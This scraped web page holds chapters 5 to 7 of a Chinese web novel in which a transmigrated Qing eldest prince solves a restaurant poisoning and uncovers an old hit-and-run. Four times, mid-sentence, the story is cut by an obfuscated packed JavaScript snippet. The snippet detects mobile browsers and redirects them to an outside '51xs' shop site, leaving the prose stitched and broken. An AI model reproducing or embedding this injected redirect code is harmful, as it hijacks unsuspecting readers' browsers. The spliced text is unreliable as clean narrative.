“你说什么!?”吴掌柜瞬间急了。
“怎么?心虚了?”喇克达为了摆脱身上的嫌疑,顾及不了其余事。
他双目直直盯着吴掌柜,冷笑道:“上回喝酒时噶尔汉曾与我们说起过……你每个月要上交一大笔钱给他,这笔钱几乎是你家铺子能赚到的一半利润吧?你说说,你到底是有什么把柄被他抓在手里,只能由着对方这般敲诈勒索?”
“…………”
“真有此事?”胤褆看向被喇克达犀利的话语刺到,脸色不太好看的吴掌柜。
商铺经营何其困难,从中抽出近半的利润,定然会对经营造成困扰,甚至牵一发而动全身,直接影响整个酒楼。
要是酒楼经营出现问题,那吴掌柜夫妇的确可能因钱财问题而诞生杀人动机。
“……是,是有这么回事。”吴掌柜沉默了下,立马承认了这件事。紧接着他立刻反驳:“只是和喇克达大人说的不同,我交钱给噶尔汉大人,那是我心甘情愿的!”
“噶尔汉大人,可是我家的恩人啊!”
“要不是噶尔汉救了小人一家,小人和贱内都死在那场事故里了,我下毒害死他,岂不是被千夫所指,万人唾骂,更不用继续开铺子了!”
一旁的四皇子胤禛闻言,忽然一愣,他正想开口时被胤褆拦住。
胤褆看了眼吴掌柜,又转身给高远一个眼色,教他去调查这件事的真伪。
喇克达先前还气势汹汹,等发现吴掌柜昂首挺胸,巍然不惧侍卫去调查的架势,气势到底是颓废了些。他嘴里悄声嘟嚷两句,却也没像之前那般咄咄逼人,眼巴巴地瞅着外头。
没半响功夫,高远便从外面进来,给出肯定的答案:“……半年前吴掌柜一家曾遭遇歹徒打劫,是路过的噶尔汉救了他们。”
“这件事,周遭邻里都知道。”
“据说噶尔汉也是因此入了赫舍里大人的眼,而后更是被调到格尔芬大人身边做事。”
吴掌柜松了口气,抹了抹头顶渗出的汗珠子:“大皇子殿下,这样就可以证明我的清白了吧?”
胤褆不置可否,他清楚知道他从未说出噶尔汉是被毒杀之事,吴掌柜却是脱口而出。
在他看来,吴掌柜赫然是头号嫌疑人。
只不过凡事都需要证据,没有证据以前胤褆不会擅做答案。更何况胤褆环顾四周,看着神色各异的嫌疑人们,总觉得哪里不对,他似乎还漏掉了什么。
“吴掌柜,可否有怀疑的人?”
“有!”吴掌柜伸手指向喇克达,直言道:“便是他!”
“喂!你,你血口喷人!”
“喇克达大人,您欠噶尔汉大人一大笔钱吧?”吴掌柜避开喇克达的怒视,转身看向胤褆:“大皇子殿下,今日的宴席菜单并非噶尔汉大人所订,而是喇克达大人定下的。”
“据小民所知喇克达大人在赌坊输了不少钱,之前三番两次问噶尔汉大人借钱,至今起码欠下近千两银子了!”
“近千两白银!?”三皇子胤祉嘶了口气,没忍住惊呼出声。虽然他们兄弟几个尚住在宫里,对外头的花销不算清楚,但他们也清楚知晓一品大员年俸不过一百八十两,加上禄米津贴也就五百两上下。
至于如喇克达般的普通旗人,一年的收入也不过几十两银子,加上禄米才勉强能到百两。
别看百两银子听上去不怎么多,事实上已是普通人家七八年的收入,至于近千两白银,都可以在京城买上一座两进的宅院。
吴掌柜的话语一出,众人瞧着喇克达的眼神迅速发生变化。仅凭喇克达的收入想要偿还这般的债务,是件极为困难,的确有可能会因此犯案。
喇克达注意到众人投来的视线,急得脑门直冒汗:“不是……真不是我!”
“我没有杀人!”喇克达惊慌失措,大声喊道:“我今天来,就是想要章泰帮我做个证,请噶尔汉宽限我些日子……让我,让我再找个机会凑钱!喂!章泰,你知道的对不对?快帮我说话啊!”
“是这样没错。”
“听到没?而且我来到酒楼以后都和章泰在一起,根本没时间犯下案子。”
“你们两个一直在包间?”
“倒不能说一直都在包间里……”喇克达闻言,想了想道:“章泰中途去了一趟茅厕。”
“用了多少时间?”
“这……奴才并没有注意过,应当一刻钟?两刻钟吧?”
胤褆想了想,索性起身带着几人往章泰和喇克达所休憩的包间而去。
这间名为同和酒楼的铺子共有上下两层,众人所在的包间乃是二楼最里侧的,往前走便能见着环绕而下的宽阔楼梯。
走到一楼,左手处是大堂和灶房,右手处则是包间,中间的小路直通后院,能前去茅厕。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13623630|143509||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
胤褆走入章泰和喇克达先前所坐的包间,这里远比楼上包间要小得多,装饰简朴雅致,透着窗户能见着外面茂密的花草,缝隙间隐约能见着几名侍卫来回走动。
“这里虽然花草茂密了些,但透过花草间隙还是能看见人的。”喇克达指着窗户,又指了指他先前的位置:“我当时坐在那边,亲眼见着章泰从这边走过去的。”
“从左边还是右边?”
“唔……应当是右边?”喇克达想了想,很快给出答案。
胤褆挑了挑眉,看着外头若隐若现的人影,即便他的视力也很难分辨清楚走过去的侍卫面容:“你确定,你见着的是章泰本人?”
“是,是啊。”
“你朝他打招呼,或者说话了?”胤褆透过窗户往外看,心下思考着整座酒楼的格局,同时询问道。
“没,没有?”
“那你怎么确定他是章泰?”胤褆收回目光,好奇地转身看向他。
“就……他穿的衣服?还有感觉?还有那个时间啊……我和章泰打小就是朋友,肯定不会看错人的!对吧?章……泰?”喇克达迟疑着回应,又求助般地看向章泰。
打从刚才起,章泰一直沉默寡言。
面对喇克达有些紧张的问话,他吐出一口气来,定神道:“是……这样。”
胤褆锐利的眼神看向章泰,比起喇克达的引人注意,章泰格外内敛,全程都几乎没有情绪变化。
他的视线从章泰的衣衫上滑过,最后落在鞋面上,章泰虽为旗人,但穿着并不张扬富贵,衣衫是竹青素色,边角连刺绣都无,露出的皂靴也是最为普通的款式,上面花纹皆无,边角还有点脏兮兮的。
胤褆挑了挑眉,注意到不同寻常的点,章泰的皂靴被擦拭过,但依稀还能见到点未擦去的新鲜黄泥。
他刚刚转悠的那一圈,未见过这般的黄泥。胤褆眼神闪烁,招武声过来叮嘱两句,又使人将章泰带出门外。
不多时,他指着窗外闪过的人影,忽然问道:“喇克达,那是章泰吗?”
喇克达闻言抬起头,下意识往窗外看了眼:“是……哎?”
映入眼帘的是三名穿着竹青色衫子的身影,他们疾步匆匆,几乎没有给人观察的机会便消失在树影后。
“其中有章泰吗?”
“哎?……额,有……吧?”喇克达迟疑半响,犹犹豫豫回答。
胤褆笑了笑,很快出去的章泰又回来了。只是他这回身上穿着件白色衣衫,倒是另外两名侍卫和太监武声穿着不同款式的青色衫子。
“章泰刚刚走过去过,穿的是白衫。”
“至于你所见着的章泰,则是旁人穿着青色衫子走过去。”
“那眨眼的功夫,你是怎么确定那人是章泰的?还是说你当时根本不是在包间里,这才确定章泰从后院走过?”
5. 第五章
胤褆犀利的质问让喇克达脸色发白,目光游离不定:“不是,那个……我,我的确不是在室内见着的。”
“哈!我就说!”吴掌柜见状,乐得讥讽两句,颇有报仇雪恨的意味:“你们故意隐瞒这件事,不会趁机偷偷去杀人了吧?”
“没有,才不是,我才没有杀人!”
“奴才当时觉得屋子里有些气闷,因此走出包间,站在外面透透气,就在窗边见着章泰去了茅厕……”
“哈,透气?透气就不能在包间里透气,非得去外面?”吴掌柜根本不信,同时其余人也不相信喇克达的话,甚至几名侍卫已上前两三步,虎视眈眈地看着喇克达,只等大皇子一声令下,便要上前将其逮捕归案。
“真的,就在那边!”喇克达瞧着眼下情况,登时慌张起来。他唯恐胤褆不信,急忙引着众人来到包厢外头,指着一处走廊道:“就在这里,我,我就在这里看见章泰的……”
胤褆看了眼喇克达指出的位置,眼尖地注意到那处格外干净的栏杆,再走到窗边往外看去。
从这里往后院的方向看去,的确也能瞧见后花园中的小道,只是通往茅厕的小路被一大丛树荫所遮蔽,仅凭一眼很难确定章泰是去了茅厕,又或是去了别的地方。
胤褆站定位置,转身往两侧看去,映入眼眸的景象教他愣了愣神,眉心紧蹙。
就在这时候,四皇子胤禛上前几步,他伸手扯了扯胤褆的衣角,瞥了眼不远处的吴掌柜夫妇,压低声音:“大哥。”
“嗯?”胤褆带着胤禛,走远了几步。
“这个位置……离灶房很近,而且还能瞧见柜台处。”胤禛严肃着小脸,认认真真说出他观察到的内容:“吴掌柜夫妇做事应当来来回回要经过,却都未曾提起他们见过喇克达。”
吴掌柜对喇克达很不满,要是知道这般的疑点应当大肆声张才是,偏偏他刚才什么都没说。
唯有两个可能:或是夫妇两人并不知道,又或是有什么原因,导致两人都没有看见喇克达。
胤褆刚刚观察四周时,也发现到这点,点了点头:“你说的没错,甚至这个角度能完全看到大堂的柜台。”
喇克达选择的位置颇为巧妙,既能看见后院,也能瞧见灶房前台,甚至连转弯楼梯处都能看见大半。
……等等,这是巧合吗?
一道灵光划过胤褆的脑海,没等他思考彻底,又听见胤禛的声音:“而且刚刚,吴掌柜他说——”
“毒杀。”
“毒杀。”
一大一小,异口同声。
胤禛睁大眼:“……大哥也注意到了?”
“啊。”胤褆的坏心情稍稍好了些,看着脸颊肉嘟嘟,仰着头看自己的小孩儿,终于不是单纯记得他是四皇子,是未来的雍正帝,而记清了他的面容。他伸手拍了拍胤禛的肩膀,笑眯眯道:“胤禛很厉害哦,观察得非常仔细呢!”
胤禛沉默一瞬:“……大哥。”
胤褆歪歪头,眨眨眼:“嗯?”
胤禛抿着嘴,眉心紧蹙,眼儿不自觉地睁得圆溜溜:“我今年十一岁,不是三岁,更不是小孩!”
胤褆摸了摸下巴:“十一岁啊……”
其实十一岁还是按虚岁算的吧?按照周岁算,眼前的四皇子胤禛应该是十岁,放在上辈子那就是个小学四年级,怎么不是小孩捏?
说起来前身也真是不像话,带个十岁的孩子出来喝酒吃菜……这是人干事嘛!
胤褆不想而已,一想越发肯定他的想法,心都软了大半。
在胤禛不可置信的目光中,他伸手掐了把胤禛肉嘟嘟的脸颊肉,随即笑道:“等你脸颊肉没了,再说自己长大了吧。”
胤禛气了个仰倒,自觉已无法和胤褆沟通,他顶着胤褆‘慈爱’的目光往回走,直到走到三皇子胤祉身边,对上胤祉那‘我懂我懂’‘大哥发病弟弟忍一忍’之类的视线,才勉为其难地停下脚步。
这家伙,好像也有病。
胤禛板着脸,气得脸颊鼓得更明显了些。
三皇子胤祉瞅了眼胤禛,又看了眼胤褆,先前他还是怀疑,现在他是真觉得胤褆的脑袋真的坏掉了,不然怎么会突然开始逗四弟玩?
往日他不是看到五弟七弟乃至八弟等人,就会嫌弃地挪到一边,唯恐被缠上吗?
至于他和胤禛,也是占着年纪稍稍大些,与大哥在御书房里多相处几年的便宜,这才稍稍得大哥注意,有了邀约的事儿。
三皇子胤祉腹诽不已,忍不住脑袋频频往外看去,从未如此巴望御医能早些到来。
胤褆尚不知道三皇子的腹诽,心情还算不错的他抬眸看向喇克达。他满头大汗,还在不断解释:“是真的,我真的没杀人!”
“我就是在这里看到的章泰!”
“你刚刚为何不说实话,非要说自己是在室内看到的章泰?”
胤褆眼看喇克达的情绪已到了崩溃的边缘,冷不丁开口发问:“这期间,你究竟在看什么?或者说做了什么?”
喇克达的额头直冒冷汗,嘴唇蠕动却是说不出话。胤褆见他至此还是不愿开口,便颔首教人将其抓捕:“送去步军统领衙门,着人审——”
“我说,我说!”喇克达听到步军统领衙门,登时惊慌起来。他伸手从怀里掏出几张薄薄的银票,高高举到胤褆面前:“大皇子殿下,大皇子殿下……我,奴才真的没杀人!是……奴才是听噶尔汉醉酒后说,说他把钱藏在这里。”
“今日奴才来的时候,恰好来了这个包厢,加上噶尔汉还没来,章泰又有事走开。”
“奴才,奴才鬼迷心窍,便起了偷钱的心思。”喇克达把银票交到侍卫手里,而后跪在地上,痛哭流涕:“我只拿了几张,想着回头去取了钱再假装还钱,又怕噶尔汉发现,特意去了窗户处站了一会。”
“就那时,我看见章泰走过去。”
“…………”胤褆接过侍卫送来的银票,随着手指翻动,眉心渐渐蹙紧。
皇太子胤礽见状,好奇上前,紧接着胤祉和胤
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13623631|143509||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
禛两个也凑上前来,齐齐看向胤褆指尖的银票。
三百两。
五百两。
一千两。
一千两。
一千两。
喇克达所谓的几张银票,上面的总金额竟是直接来到三千八百两。
前面有提到过,一品大员年俸禄加上禄米津贴不过五百两出头,而这薄薄的几张竟是一品大员的六七年收入。
……这根本不是噶尔汉应有的收入。
胤褆回想楼上包厢富贵到让人眼疼的装潢,再看楼下包厢简朴雅致的模样,忽地开口问道:“楼上包厢是噶尔汉专用的?”
“……是,是的。”喇克达虽不知道为何问题突然转移到包厢上,但也急急回答道:“噶尔汉常用那包厢来招待一些朋友,我只去过一两回,多数时候都是在一楼包厢。”
他回答完问题,犹自还想着杀人嫌疑的事,忙不迭解释道:“真的,大皇子殿下,奴才真的没杀人——”
胤褆瞥了眼他,深感这人愚蠢,他着人立刻去查常与噶尔汉来往的人物,同时又带着所有人回到二楼包厢——包厢里已有人正在忙碌。
几名原以为大皇子昏迷而骑马疯狂赶来,得知大皇子又活蹦乱跳,甚至扬言要自己探案,顺带让他们几个寻觅菜品问题的御医,齐刷刷朝着胤褆投去或是幽怨,或是狐疑,或是好奇的视线。
末了,众人请安问好。
胤褆动作顿了顿,而后坦然往里走去,就像是见着常常合作的同僚般热情,拉起为首的御医不说,更是勾肩搭背:“查看得如何?有没有发现什么问题?”
御医瞳孔地震:“…………啊。”
就和侍卫说的一样,大皇子的脑袋不对劲啊喂!
御医瞥着胤褆搁在他肩膀上的胳膊,挣扎着摁下试图先给大皇子把把脉的念头,打起精神点向被同僚用筷子从鸭汤中夹起,并细致搁在台面上的几片食材:“大皇子殿下,请看。”
那物色泽金灿艳丽,瞧着富贵非常,上面滴着点点汤汁。
“这是——”
“此物乃是黄裙竹荪,有毒。”
御医话音落下,众人齐刷刷地看向吴掌柜夫妇。吴掌柜夫妇是铺子老板,同时也是名扬京城的大厨,而据厨子说噶尔汉与其友人的菜品通常都是夫妇两人操办。
“好哇,果然是你们!”喇克达瞪圆了眼,忍不住抬声喊道:“果然是为了钱吧?日日要交出这么多钱来……”
“这位大人,您说错了。”吴掌柜闻言,连连摆手:“黄裙竹荪虽有微毒,但绝不致命,其鲜美味道甚至比寻常竹荪更要美上三分,京城里不止我家在用,别家也是在用的。”
“的确如你所说。”胤褆点了点头,垂眸看着那几片被切得细长,乍一看犹如黄花菜的黄裙竹荪:“此物只有微毒,正常情况下并不会致命。”
“除非,吃的人本就患有相应的瘾疹之症,对吧?”胤褆抬眸看向吴掌柜,轻轻笑了下:“一开始就知道此案是毒杀的吴掌柜?”
6. 第六章
“!”吴掌柜双目圆睁,猛地愣住。
“!!?”章泰和喇克达也悚然一惊,齐齐看向吴掌柜。
“等等?大皇子殿下?您,您这是什么意思?”吴掌柜仿佛才刚刚回过神,扶着额头,满脸惊慌。
“毒杀!?”经过胤褆的提醒,喇克达也想起这件事来。他瞬间精神抖擞,扯着嗓门嚷嚷:“好哇,果然就是你!怪不得你不断往我身上泼污水,好一个忘恩负义的东西!”
吴掌柜听到忘恩负义四字,身体都颤了颤,连带着落在身侧的双手手指都轻轻抽搐了下。他焦急地抬起头来,惊慌地看向胤褆:“不是,不是!不是小民做的!小民也是听侍卫说有人中毒,后来,后来小民才把噶尔汉大人的死因与毒杀联系上!”
吴掌柜舔舐着干燥的嘴唇,又把期望放在另外一点上:“而且,而且小民根本不知道噶尔汉大人患有瘾疹!”
“是吗?”胤褆轻笑了声,随即收敛面上表情。他一双眼儿黑得幽深,平静无波地注视着吴掌柜,伸手接过太监武声送来的册子:“那你说说罢。”
“明明你们酒楼素来用的是普通竹荪,为何会突然用起含有微毒的黄裙竹荪?两者外表差异明显,理应是一眼就能分辨而出,可是无论是你们的单子,又或是负责进出库的帮厨伙计都一口咬定,他们从未进过有毒的黄裙竹荪。”
胤褆亲手把册子送进吴掌柜手里,看着他额头滚落的大滴汗珠,还有那轻轻打颤的双手。
眼前册子是酒楼进出货的单子,上面清晰列明了各项食材的进出库,素有菌中皇后之称的竹荪进货量极大,几乎每日都有入库。
吴掌柜的腰弯下了些,就在所有人以为他要承认罪行的时候他摇了摇头:“不是的……事实上噶尔汉大人最是喜欢刺激,常教人寻来各种稀奇古怪的食材制作。”
“这事儿,章泰大人和喇克达大人也是知晓的。”吴掌柜转身看向两者,喇克达和章泰迟疑了下,而后纷纷点头:“刚刚我们也说过的,都是按噶尔汉要求来办。”
“是,是这样没错。”
“我记得上回噶尔汉还非要吃那见手青,虽说最后没出事,但也把人吓得不轻啊。”喇克达回想此前的一些事,深感后怕。
吴掌柜松了口气,苦笑着解释:“起初小民等人也劝说过,可是……要是不按噶尔汉大人的要求做,定然会遭受辱骂殴打。”
“这黄裙竹荪,也是其中之一。”
“不过小民是真的不知道噶尔汉大人竟是患有瘾疹,还,还,还……”
吴掌柜说不下去,泪水夺眶而出。他的身体渐渐向下滑去,最后双膝重重跪倒在地,声音里满是痛心与懊悔,哽咽道:“若是,若是小民知道的话,定然会开口,开口劝说的……”
“我居然,我居然害死了我家的救命恩人!”吴掌柜痛哭流涕,引得周遭人动容不已,指出问题来的御医抚了抚胡须,安抚道:“吴掌柜放心罢,误食菌菇而发生意外并非谋杀之罪,而是过失伤人罪论处,只需得到受害人的谅解,再行赔偿些许费用,想来可以得到从轻处理。”
御医的话音落下,吴掌柜的哭声戛然而止,他脸上神情凝固在极为扭曲的状态,似哭似笑,莫名教御医觉得有些恐怖,只是等他定睛一看,又感觉像是他的错觉。
旁边的李小二闻言,一边伸手扶起吴掌柜,一边呐呐回应道:“这位御医,御医大人,噶尔汉大人……就是吃了菜的那位大人,已经死了。”
李小二说到这里,也忍不住哽咽。
喇克达瞧着这一幕,没了先前的幸灾乐祸,反而唏嘘起来:“噶尔汉已身死……即便他家中愿意签下谅解书,那也是起码要判个杖刑一百,徒三年的。”
非谋杀,因事致人死亡的,杖一百。
因吴掌柜夫妇为庶民,伤害旗人又要加罪,若是轻些判个徒三年,要是家属不愿谅解,那估摸要被判个流放三千里。
李小二闻言,红了眼圈:“咱们家掌柜和夫人,都是真真的好人,年年给寺庙和外头流民送吃食的……”
御医愣了愣神,平和恬淡的脸庞上头回露出迷茫之色来。他先看看直抹眼泪的李小二,再看看神色不佳,唏嘘不已的章泰等人。
??????
哎?哎?哎?那他们刚刚见着的人是谁?总不能是鬼吧!?
御医惊得头皮发麻,僵着身体看向一手托着下巴,正对着菜品垂眸深思胤褆。
胤褆的思绪还在别处,并未回应御医的疑惑。他伸手轻叩桌案,正准备开口说话时,三皇子胤祉快他一步,哈哈笑出声来:“你们不必哭了,其实噶尔汉没死,这事没到最糟糕的地步。”
刹那间,室内寂静无声。
且不说吴掌柜,喇克达和章泰的表情凝固,就连一直落在后头,安静得仿佛不存在的吴夫人也抬起头来,呆呆地往三皇子胤祉的方向看去。
胤褆见胤祉说出口,也咽下了其余疑问,他没有阻拦,而是抬声教碧纱橱里的人出来。
随着脸色发黑的噶尔汉从屋里出来,外面几人脸上的表情也越发诡异。
噶尔汉忍到现在,早已是憋着一肚子气,上来便是气势汹汹
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13623632|143509||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地给了喇克达一巴掌:“混账东西,居然敢偷本大爷的钱!”
喇克达捂着脸,没吱声。
再然后噶尔汉目标一转,直直看向吴掌柜夫妇。他眉毛倒竖,一把推开吴夫人,而后伸手揪住吴掌柜的领口:“好你个混账东西,居然想要老子的命!?告诉你,你给我准备好坐一辈子的牢啊————!”
噶尔汉的声音忽地,变成凄厉的惨叫。
被他推开的吴夫人如猛兽般冲上前去,狠狠一口咬在他的耳朵上。
她挥舞着双手,尖锐的指甲在噶尔汉脸上留下道道伤痕,突如其来的变化让所有人都懵了一瞬。
噶尔汉疼痛难忍,伸手重重推开吴夫人:“你这贱妇!给我啊啊啊——!”
霎那间,凄厉的惨叫响彻全场。
噶尔汉捂着耳朵倒退两步,鲜血从手指间隙内淌出,一滴两滴落在地上。
吴夫人重重跌坐在地上,嘴里还咬着断掉的耳朵,鲜血四溅而开,点点滴滴落在她的脸上。
吴夫人一反懦弱模样,反而如猛兽般再次扑上前去,看架势竟是要生生咬死噶尔汉!
“没死……居然没死!”
“你这个人渣,为什么还活着!”吴掌柜看着活生生的噶尔汉,前面稳稳当当的心理防线彻底破碎。他红着双眼,跟着吴夫人一道扑上前去,用尽浑身力气掐住噶尔汉的脖子。
噶尔汉双眼圆睁,目眦尽裂,不断挥舞着拳头殴打着吴掌柜。
偏生吴夫人仅仅抱住他的双手,不断撕咬他,那边吴掌柜又拼尽全力掐住他的脖子,噶尔汉非但没能挣脱两者的束缚,而且随着无法呼吸,他的力气也变得越来越小,无力地发出嗬嗬怪声。
“还不赶紧拦住他们!”随着皇太子胤礽回过神来,厉声发令,侍卫们呼啦啦地涌上前去,七手八脚的把吴掌柜夫妇从噶尔汉身上撕扯下来。
“为什么!为什么!”
“为什么你这混蛋还活着……”被拉扯开来的吴掌柜瘫坐在地上,又哭又嚎。
捡回一条命的噶尔汉大口大口吸着气,青白的嘴唇哆嗦不已。他想着先前的经历便浑身恶寒,骂骂咧咧:“好你个吴咏,老子我救了你们全家,你就是这么对救命恩人的?不就是问你们多要了点钱,你们这对忘恩负义的狗东西!”
“钱?钱算什么?”吴夫人呸的一口,把半个耳朵吐在地上。她被两名侍卫摁住,却不屈地抬起头来,通红的眼儿一眨不眨地盯着噶尔汉:“哈?哈!哈!”
吴掌柜嗤笑一声,惨然答道:“钱,能换回我们的孩子吗?”
7. 第七章
孩子?孩子!
在场所有人都怔愣了下,脑袋里的思绪打结成团,完全想不通话题怎么会被绕到这上面。
“你在说什么乱七八糟的——”
“就是你——!”吴掌柜打断噶尔汉的话语,他恨恨地盯着噶尔汉,只恨他下毒下得不够狠,恨他下手下得不够重,没把眼前的恶魔带到地下,给自己可怜的孩子复仇。
“六年前,你驾马撞倒我的女儿。”
“可怜我的女儿……当场没了性命!而你,居然以运送公务为名,反而倒打一耙,说是我女儿挡了你的道,竟是连一日牢狱之灾也没得,便直接被官府放走。”
“倒是我爹我娘……先说他们管束孩子不当,而后又说他们冲撞官府,反倒是被官府杖责三十。”吴夫人说到这里,面色惨然。
她仰着脸庞,一双眼眸未曾离开过噶尔汉,她的泪水如涌泉,豆大的泪珠顺着她的眼眶满溢而出,又顺着鼻梁在脸庞上纵横交错,最后掉落在衣衫上,把衣衫的颜色渐渐染深。
“可怜我爹我娘……”吴夫人喃喃着,双目放空不知在看何处,她默默流着眼泪,无声的哀默教周遭人都安静下来。
“师傅和师母都已过花甲之年,哪里经受得住这般煎熬。”吴掌柜双手紧攥,闭了闭眼,再睁开眼时目光中蕴藏的憎恨如尖刀般刺向噶尔汉:“他们先是亲眼见着孙女在眼前死去,而后又被毒打一顿……”
吴掌柜嘴唇哆嗦了下,没有如妻子般落泪,只平静地陈述:“不过一月时间,两老便先后辞世。”
“他们死不瞑目啊……”
“师傅死的时候都在喊冤啊……都记挂着英儿……都在说他们对不起我们……”吴掌柜像是只困兽,发出绝望的哀嚎:“原本,原本他救了我们夫妇以后,我们也没了复仇的心思……”
“谁晓得,哈哈,谁晓得!”
“这混账根本是故意的!就因为他看中我家铺子,特意使人故意惊吓马匹……就为了,就为了能以救命恩人的身份掐制我们夫妇……”吴掌柜嘴唇哆嗦,双手重重拍打着地面:“我娘子时隔六年,才怀上第二胎啊……”
吴掌柜没往下说,在场所有人却听懂了他剩余的话语,登时沉默无声。
谁也没想到,事情居然会出现这般的变化,尤其是说出噶尔汉未死的三皇子胤祉。他先前的笑容早已消失殆尽,一双眼儿因为受到过度惊吓而睁得溜圆,呆呆地凝视着吴掌柜夫妇。
他们愤怒的呼喊声回荡在他的耳边,绝望和愤怒如绳索般紧紧缠绕在他的身上。
等到吴掌柜夫妇安静下来,胤祉也没有挣脱出来,两者的沉默如同重力般死死落在他的肩头,像是要将他压下深潭,教胤祉沉溺在其中。
“啪。”
一只手重重拍在胤祉的肩膀上,将他几乎窒息的思绪拉回到现实之中。胤祉的身体歪了歪,下意识抬起头看去,对上胤褆的双目。
[不是你的错。]
明明胤褆没有说话,胤祉却似乎看到他眼眸里的含义,身上的阴郁像是被一掌拍碎,鼻腔里更是涌出一股酸涩。胤祉抽了抽鼻子,压下泛起的泪花,大声嚷嚷:“大哥——你的手劲超大,超痛的!”
“……是吗?”胤褆收回手,顺势看了眼宽厚的手掌,明明这具身体的年龄更小,手上的痕迹却比上辈子的他还要深。
食指、中指和无名指上是厚实的老茧,就连拇指关节处也有着清晰的痕迹,胤褆想来原身为了追上皇太子,应当花费了很多努力。
胤褆收回目光,温声道:“下回我会拍得轻一点。”
胤祉:“……行吧。”
旁边的四皇子胤禛瞥了眼,脸蛋微微扭曲,这种时候应该吐槽而不是应下来吧!?
皇太子胤礽没有注意三兄弟间的拉扯,他眉心紧蹙,心情不太好,没想到一桩案子先是拉扯出个偷窃案,再拉扯出个谋杀案,到现在又拉扯出一桩六年前的旧案。
再下去,不会拉扯出更大的案子吧?
胤礽打消脑海里浮现出的担忧,敛起神色,面无表情地看向噶尔汉:“吴掌柜夫妇说的事情,是否属实?”
噶尔汉满头冷汗,脸色发白,他下意识避开胤礽的视线:“不是!他们胡说!根本没有这等事!”
吴掌柜闻言,越发激动:“你这个混蛋,到现在都还想要抵赖!此事就在济源县,时隔六年定然还有卷宗可查——你居然,你居然还想抵赖!”
“六年前,就是你——”吴夫人抢在吴掌柜之前,怒喝出声。她的脸上沾满了血液,一双充斥着怨恨的眼眸死死盯着噶尔汉:“我的女儿,她那时候才十二岁啊……”
“六年了,六年了……”
“你还我的女儿!你还我的爹娘啊!”吴夫人陡然爆发力气,教两名侍卫冷汗直冒,咬紧牙关才勉强摁住她:“吴夫人,您冷静些。”
“就是就是!”看管吴掌柜的侍卫亦是如此,几人听罢吴掌柜夫妇的话语,免不得心生同情,一边劝慰,一边又忍不住看向噶尔汉,见他捂着耳朵,脸色难看,眼里也带上几分怀疑。
噶尔汉梗着脖子:“不是!我当时真的是因公事而——”
皇太子胤礽打断他的话语,吩咐身侧的侍卫:“即刻着人去调出卷宗,孤倒要看看噶尔汉你当时到底是因公事纵马,还是因私事纵马出行。”
噶尔汉神色大变,冷汗直冒,他那心虚的模样都不用多问,便只吴掌柜夫妇说的□□成是事实。
胤褆瞥了眼噶尔汉,在旁补充道:“另外,无论是否因公因私,这件案子的问题都是不少。”
“且不说因公务极速驰骋而杀人者,应当以
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13623633|143509||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
过失罪论处,根本不会有当庭释放的情况,再者涉及人命的案子,理应由地方官府上报至按察司,再由按察司报至刑部,若是京师地区发生的涉及旗人民人两方的案子,更因直接交由刑部现审。”
“本皇子倒是想知道。”
“你为何能够当日就被释放?甚至一天时间便草草结案?”
胤褆说到这里,已是控制不住情绪,他右手握拳重重砸在木柱上,一双眼如冰刃般冷厉:“是谁在罔顾律法,只手遮天,这般肆无忌惮的处理案件!?”
“这样的人,竟是为一地父母官?”
“那他又得办下多少冤假错案来!?”
胤褆说罢,心下怒火已是熊熊燃烧,这名官吏能轻而易举放过噶尔汉,甚至逼死为孙女讨要公道的夫妇,那他又如何判断其他案子。
吴掌柜夫妇面对不公平的现实,选择踏上杀人的绝路,幸而遇见众人才能讨回公道,那其余人呢?他们是不是如那对老夫妇般,只能抱着满腔的遗憾和绝望沉眠地底。
内室众人皆是沉默无声,胤礽看了胤褆一眼,换做昨日他恐怕无法想象这番话竟是出自他的口中。
胤礽凝视着胤褆,而胤褆则凝视着面如死灰,先前那股嚣张劲荡然无存的噶尔汉。
他看似平静的眼眸里实则早已浪潮滔天,胤褆虽不知他为何会穿越到这世界,但他时下有了新的目标。
既然穿为皇长子,先天便有了优势,那就让他来做‘包青天’,还天下百姓一片朗朗乾坤!
